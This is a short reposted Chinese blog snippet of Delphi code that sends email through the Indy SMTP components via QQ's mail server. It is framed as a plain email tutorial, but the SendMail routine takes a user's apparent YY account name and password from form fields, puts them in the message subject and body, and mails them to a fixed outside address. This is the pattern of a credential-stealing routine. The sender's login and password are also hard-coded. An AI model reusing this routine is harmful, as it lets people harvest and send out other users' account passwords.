Delphi发送邮件...

///首先在控件栏定位到:Indy Clients加入控件IdSMTP
///再定位到:Indy Misc加入控件IdMessage

 

///发送邮件函数
procedure TForm1.SendMail(YYuser: string;YYpass:string);
 begin
   try
     IdSMTP1.AuthenticationType:=atLogin; //设置登陆类型
     IdSMTP1.Username:='1099897995@qq.com'; //设置登陆帐号
     IdSMTP1.Password:='123456'; //设置登录password
     IdSMTP1.Host:='smtp.qq.com'; //设置SMTP地址
     IdSMTP1.Port:=25; //设置port   必须转化为整型
     IdSMTP1.Connect;   //開始连接server
   except
     Showmessage('连接失败,请重试!');
     Exit; //连接失败 的话 退出该运行过程
   end;
   IdMessage1.Body.Clear;   //先清空上次发送的内容
   IdMessage1.Subject:='YY来信了^_^!...YYuser:'+YYuser+'  YYpass'+YYpass;   //设置邮件发送的标题
   IdMessage1.Body.Text:='YYuser='+YYuser+'   yyPass='+YYpass; //设置邮件发送的主体
   IdMessage1.From.Address:='1099897995@qq.com'; //设置邮件的发件人
   IdMessage1.Recipients.EMailAddresses:='4729@qq.com';   //收件人的地址
   try
     idSMTP1.Send(IdMessage1);
     Showmessage('邮件发送成功!');
   except
     Showmessage('邮件发送失败!');
   end;
end;
//////////////////////////////////////////////////////////////////////////


/////调用方式

SendMail(edtUser.Text,edtPass.Text); //发送邮件
原文地址:https://www.cnblogs.com/mengfanrong/p/4208310.html